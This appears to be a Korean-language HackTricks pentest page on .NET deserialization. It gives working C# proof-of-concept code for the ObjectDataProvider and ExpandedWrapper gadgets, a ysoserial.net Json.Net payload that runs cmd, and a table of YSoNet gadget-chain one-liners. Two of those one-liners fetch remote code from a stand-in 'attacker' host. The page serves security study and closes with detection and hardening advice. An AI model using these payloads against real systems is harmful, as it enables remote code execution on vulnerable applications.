# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} 이 게시물은 **ObjectDataProvider 가젯이 어떻게 악용되는지 이해하기 위해** 작성되었습니다. 이를 통해 RCE를 얻고 **Json.Net 및 xmlSerializer와 같은 직렬화 라이브러리가 어떻게 악용될 수 있는지** 설명합니다. ## ObjectDataProvider Gadget 문서에서: _ObjectDataProvider 클래스는 바인딩 소스로 사용할 수 있는 객체를 래핑하고 생성합니다._\ 네, 이상한 설명이니, 이 클래스가 왜 흥미로운지 살펴보겠습니다: 이 클래스는 **임의의 객체를 래핑**하고, _**MethodParameters**_를 사용하여 **임의의 매개변수를 설정**한 다음, **MethodName을 사용하여 임의의 함수**를 호출할 수 있게 해줍니다.\ 따라서 임의의 **객체**는 **역직렬화되는 동안 매개변수와 함께 **함수를 실행**합니다.** ### **이것이 어떻게 가능할까요** **System.Windows.Data** 네임스페이스는 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`에 있는 **PresentationFramework.dll** 내에서 정의되고 구현됩니다. [**dnSpy**](https://github.com/0xd4d/dnSpy)를 사용하면 관심 있는 클래스의 **코드를 검사**할 수 있습니다. 아래 이미지에서 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**의 코드를 보고 있습니다. ![](<../../images/image (427).png>) `MethodName`이 설정되면 `base.Refresh()`가 호출되는 것을 볼 수 있습니다. 이 함수가 무엇을 하는지 살펴보겠습니다: ![](<../../images/image (319).png>) 좋습니다, 이제 `this.BeginQuery()`가 무엇을 하는지 계속 살펴보겠습니다. `BeginQuery`는 `ObjectDataProvider`에 의해 재정의되며, 다음과 같은 작업을 수행합니다: ![](<../../images/image (345).png>) 코드 끝부분에서 `this.QueryWorke(null)`를 호출하고 있다는 점에 주목하세요. 이것이 무엇을 실행하는지 살펴보겠습니다: ![](<../../images/image (596).png>) 이것은 `QueryWorker` 함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 **`this.InvokeMethodOnInstance(out ex);`를 호출합니다.** 이 줄이 **메서드 세트가 호출되는** 부분입니다. _**MethodName**_을 설정하기만 하면 실행된다는 것을 확인하고 싶다면, 이 코드를 실행해 보세요: ```java using System.Windows.Data; using System.Diagnostics; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add("cmd.exe"); myODP.MethodParameters.Add("/c calc.exe"); myODP.MethodName = "Start"; } } } ``` _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_를 참조로 추가해야 `System.Windows.Data`를 로드할 수 있습니다. ## ExpandedWrapper 이전의 익스플로잇을 사용하면 **객체**가 _**ObjectDataProvider**_ 인스턴스로 **역직렬화될** 경우가 있습니다(예: DotNetNuke 취약점에서 XmlSerializer를 사용하여 객체가 `GetType`을 사용하여 역직렬화됨). 그러면 _ObjectDataProvider_ 인스턴스에 래핑된 객체 유형에 대한 **정보가 없습니다**(예: `Process`). DotNetNuke 취약점에 대한 더 많은 [정보는 여기에서 확인할 수 있습니다](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). 이 클래스는 주어진 인스턴스에 캡슐화된 객체의 **객체 유형을 지정할 수 있도록** 합니다. 따라서 이 클래스는 소스 객체(_ObjectDataProvider_)를 새로운 객체 유형으로 캡슐화하고 우리가 필요한 속성(_ObjectDataProvider.MethodName_ 및 _ObjectDataProvider.MethodParameters_)을 제공하는 데 사용할 수 있습니다.\ 이는 앞서 제시된 경우와 같이 매우 유용합니다. 왜냐하면 우리는 **_ObjectDataProvider**_를 **_**ExpandedWrapper** _ 인스턴스 안에 **래핑**할 수 있고, **역직렬화될** 때 이 클래스는 **_**OjectDataProvider**_ 객체를 **생성**하여 _**MethodName**_에 지정된 **함수**를 **실행**할 것입니다. 다음 코드를 사용하여 이 래퍼를 확인할 수 있습니다: ```java using System.Windows.Data; using System.Diagnostics; using System.Data.Services.Internal; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ExpandedWrapper myExpWrap = new ExpandedWrapper(); myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); myExpWrap.ProjectedProperty0.ObjectInstance = new Process(); myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe"); myExpWrap.ProjectedProperty0.MethodName = "Start"; } } } ``` ## Json.Net [공식 웹 페이지](https://www.newtonsoft.com/json)에서는 이 라이브러리가 **Json.NET의 강력한 JSON 직렬 변환기를 사용하여 모든 .NET 객체를 직렬화 및 역직렬화할 수 있도록 한다**고 명시되어 있습니다. 따라서 **ObjectDataProvider 가젯을 역직렬화**할 수 있다면, 객체를 역직렬화하는 것만으로 **RCE**를 유발할 수 있습니다. ### Json.Net 예제 우선 이 라이브러리를 사용하여 객체를 **직렬화/역직렬화**하는 방법에 대한 예제를 살펴보겠습니다: ```java using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic; namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = "james@example.com", Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { "User", "Admin" } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]} //Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } } ``` ### Json.Net 악용하기 [ysoserial.net](https://github.com/pwntester/ysoserial.net)을 사용하여 익스플로잇을 생성했습니다: ```java ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` 이 코드에서 **익스플로잇을 테스트할 수 있습니다**, 그냥 실행하면 calc가 실행되는 것을 볼 수 있습니다: ```java using System; using System.Text; using Newtonsoft.Json; namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata)); //Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } } ``` ## 고급 .NET 가젯 체인 (YSoNet & ysoserial.net) 위에서 소개한 ObjectDataProvider + ExpandedWrapper 기술은 애플리케이션이 **안전하지 않은 .NET 역직렬화**를 수행할 때 악용될 수 있는 많은 가젯 체인 중 하나일 뿐입니다. **[YSoNet](https://github.com/irsdl/ysonet)** (그리고 이전의 [ysoserial.net](https://github.com/pwntester/ysoserial.net))와 같은 현대의 레드팀 도구는 수십 개의 가젯과 직렬화 형식에 대한 **사용 준비가 완료된 악성 객체 그래프** 생성을 자동화합니다. 아래는 *YSoNet*과 함께 제공되는 가장 유용한 체인의 요약 참조와 그 작동 방식에 대한 간단한 설명 및 페이로드 생성을 위한 예제 명령입니다. | 가젯 체인 | 주요 아이디어 / 원시 | 일반 직렬화기 | YSoNet 원라이너 | |--------------|----------------------|--------------------|------------------| | **TypeConfuseDelegate** | `DelegateSerializationHolder` 레코드를 손상시켜, 일단 구체화되면 델리게이트가 *임의의* 공격자가 제공한 메서드(예: `Process.Start`)를 가리키도록 함 | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | | **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`를 악용하여 *.NET ≥4.8 유형 필터링을 우회*하고 제공된 클래스의 **생성자**를 직접 호출하거나 C# 파일을 즉석에서 **컴파일**함 | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | | **DataSetOldBehaviour** | `System.Data.DataSet`의 **구식 XML** 표현을 활용하여 `` / `` 필드를 채워 임의의 유형을 인스턴스화함 (선택적으로 `--spoofedAssembly`로 어셈블리를 위조) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | | **GetterCompilerResults** | WPF 지원 런타임에서 (> .NET 5) 속성 getter를 체인하여 `System.CodeDom.Compiler.CompilerResults`에 도달한 후, `-c`로 제공된 DLL을 *컴파일*하거나 *로드*함 | `Json.NET` 비유형, `MessagePack` 비유형 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | | **ObjectDataProvider** (검토) | WPF `System.Windows.Data.ObjectDataProvider`를 사용하여 제어된 인수로 임의의 정적 메서드를 호출함. YSoNet은 악성 XAML을 원격으로 호스팅하기 위한 편리한 `--xamlurl` 변형을 추가함 | `BinaryFormatter`, `Json.NET`, `XAML`, *기타* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | | **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject`에 `ScriptBlock`을 포함시켜 PowerShell이 객체를 역직렬화할 때 실행됨 | PowerShell 원격, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | > [!TIP] > 모든 페이로드는 기본적으로 **stdout에 기록**되므로 다른 도구(예: ViewState 생성기, base64 인코더, HTTP 클라이언트)로 파이프하는 것이 간단합니다. ### YSoNet 빌드 / 설치 *Actions ➜ Artifacts* / *Releases* 아래에 미리 컴파일된 바이너리가 없는 경우, 다음 **PowerShell** 원라이너가 빌드 환경을 설정하고, 리포지토리를 클론하며, 모든 것을 *Release* 모드로 컴파일합니다: ```powershell Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')); choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes; git clone https://github.com/irsdl/ysonet cd ysonet nuget restore ysonet.sln msbuild ysonet.sln -p:Configuration=Release ``` 컴파일된 `ysonet.exe`는 `ysonet/bin/Release/` 아래에서 찾을 수 있습니다. ### 탐지 및 강화 * **예상치 못한** `w3wp.exe`, `PowerShell.exe`의 자식 프로세스 또는 사용자 제공 데이터를 역직렬화하는 모든 프로세스를 탐지합니다 (예: `MessagePack`, `Json.NET`). * 레거시 `BinaryFormatter` / `NetDataContractSerializer`를 제거할 수 없는 경우, 항상 **타입 필터링**(`TypeFilterLevel` = *Full*, 사용자 정의 `SurrogateSelector`, `SerializationBinder`, *기타*)을 활성화하고 **강제 적용**합니다. * 가능한 경우 **`System.Text.Json`** 또는 **`DataContractJsonSerializer`**로 마이그레이션하고 화이트리스트 기반 변환기를 사용합니다. * 절대 필요하지 않은 웹 프로세스에서 위험한 WPF 어셈블리(`PresentationFramework`, `System.Workflow.*`)의 로드를 차단합니다. ## 참조 - [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) - [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net) - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) {{#include ../../banners/hacktricks-training.md}}